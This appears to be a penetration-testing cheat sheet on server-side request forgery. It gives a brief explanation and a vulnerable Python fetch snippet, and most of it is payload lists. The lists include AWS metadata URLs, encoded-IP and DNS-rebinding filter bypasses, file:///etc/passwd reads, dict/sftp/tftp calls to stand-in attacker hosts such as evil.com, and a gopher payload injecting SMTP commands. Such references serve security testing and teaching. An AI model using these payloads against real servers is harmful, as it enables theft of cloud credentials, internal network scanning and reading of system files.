index

Server Side Request Forgery (SSRF)

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Methodology

SSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.

Common exploitation paths:

Accessing Cloud metadata
Leaking files on the server
Network discovery, port scanning with the SSRF
Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server

Example: A server accepts user input to fetch a URL.

url = input("Enter URL:")
response = requests.get(url)
return response

An attacker supplies a malicious input:

http://169.254.169.254/latest/meta-data/

This fetches sensitive information from the AWS EC2 metadata service.

Filter Bypass

Default Targets

By default, Server-Side Request Forgery are used to access services hosted on localhost or hidden further on the network.

Using localhost

http://localhost:80
http://localhost:22
https://localhost:443

Using 127.0.0.1

http://127.0.0.1:80
http://127.0.0.1:22
https://127.0.0.1:443

Using 0.0.0.0

http://0.0.0.0:80
http://0.0.0.0:22
https://0.0.0.0:443

Bypass Localhost with IPv6 Notation

Using unspecified address in IPv6 [::]
```
http://[::]:80/
```
Using IPv6 loopback address [0000::1]
```
http://[0000::1]:80/
```

Using IPv6/IPv4 Address Embedding

http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:127.0.0.1]

Bypass Localhost with a Domain Redirect

Domain	Redirect to
local.gd	`127.0.0.1`
spoofed.[BURP_COLLABORATOR]	`127.0.0.1`
spoofed.redacted.oastify.com	`127.0.0.1`
company.127.0.0.1.nip.io	`127.0.0.1`

The service nip.io is awesome for that, it will convert any ip address as a dns.

NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1

Bypass Localhost with CIDR

The IP range 127.0.0.0/8 in IPv4 is reserved for loopback addresses.

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

If you try to use any address in this range (127.0.0.2, 127.1.1.1, etc.) in a network, it will still resolve to the local machine

Bypass Using Rare Address

You can short-hand IP addresses by dropping the zeros

http://0/
http://127.1
http://127.0.1

Bypass Using an Encoded IP Address

Decimal IP location

http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254

Octal IP: Implementations differ on how to handle octal format of IPv4.

http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1

Hex IP

http://0x7f000001 = http://127.0.0.1
http://0xc0a80101 = http://192.168.1.1
http://0xa9fea9fe = http://169.254.169.254

Bypass Using Different Encoding

URL encoding: Single or double encode a specific URL to bypass blacklist
```
http://127.0.0.1/%61dmin # Single
http://127.0.0.1/%2561dmin # Double
```
Enclosed alphanumeric: ①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿
```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
```
Unicode encoding: In some languages (.NET, Python 3) regex supports unicode by default. \d includes 0123456789 but also ๐๑๒๓๔๕๖๗๘๙.

Bypassing via IPV6 hostname

in Linux /etc/hosts contain this line ::1 localhost ip6-localhost ip6-loopback but work only if http server is running in ipv6:
```
http://ip6-localhost = ::1
http://ip6-loopback = ::1
```

Bypassing Using a Redirect

Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
Launch the SSRF pointing to vulnerable.com/index.php?url=http://redirect-server
You can use response codes HTTP 307 and HTTP 308 in order to retain HTTP method and body after the redirection.

To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use Horlad/r3dir.

Redirects to http://localhost with 307 Temporary Redirect status code
```
https://307.r3dir.me/--to/?url=http://localhost
```
Redirects to http://169.254.169.254/latest/meta-data/ with 302 Found status code
```
https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
```

Bypass Using DNS Rebinding

Create a domain that change between two IPs.

1u.ms - DNS rebinding utility

For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

Verify the address with nslookup.

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 1.2.3.4

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 169.254.169.254

info

Check for more Filter Bypasses at: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md

Exploitation via URL Scheme

File

Allows an attacker to fetch the content of a file on the server. Transforming the SSRF into a file read.

file:///etc/passwd
file://\/\/etc/passwd

HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Netdoc

Wrapper for Java when your payloads struggle with "\n" and "\r" characters.

ssrf.php?url=netdoc:///etc/passwd

Gopher

The gopher:// protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet.

gopher://[host]:[port]/[type][selector]

This scheme is very useful as it as be used to send data to TCP protocol.

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

We can use following tool for easy payload development:

https://github.com/tarunkant/Gopherus

Server Side Request Forgery (SSRF)​

Methodology​

Filter Bypass​

Default Targets​

Bypass Localhost with IPv6 Notation​

Bypass Localhost with a Domain Redirect​

Bypass Localhost with CIDR​

Bypass Using Rare Address​

Bypass Using an Encoded IP Address​

Bypass Using Different Encoding​

Bypassing via IPV6 hostname​

Bypassing Using a Redirect​

Bypass Using DNS Rebinding​

Exploitation via URL Scheme​

File​

HTTP​

Dict​

SFTP​

TFTP​

LDAP​

Netdoc​

Gopher​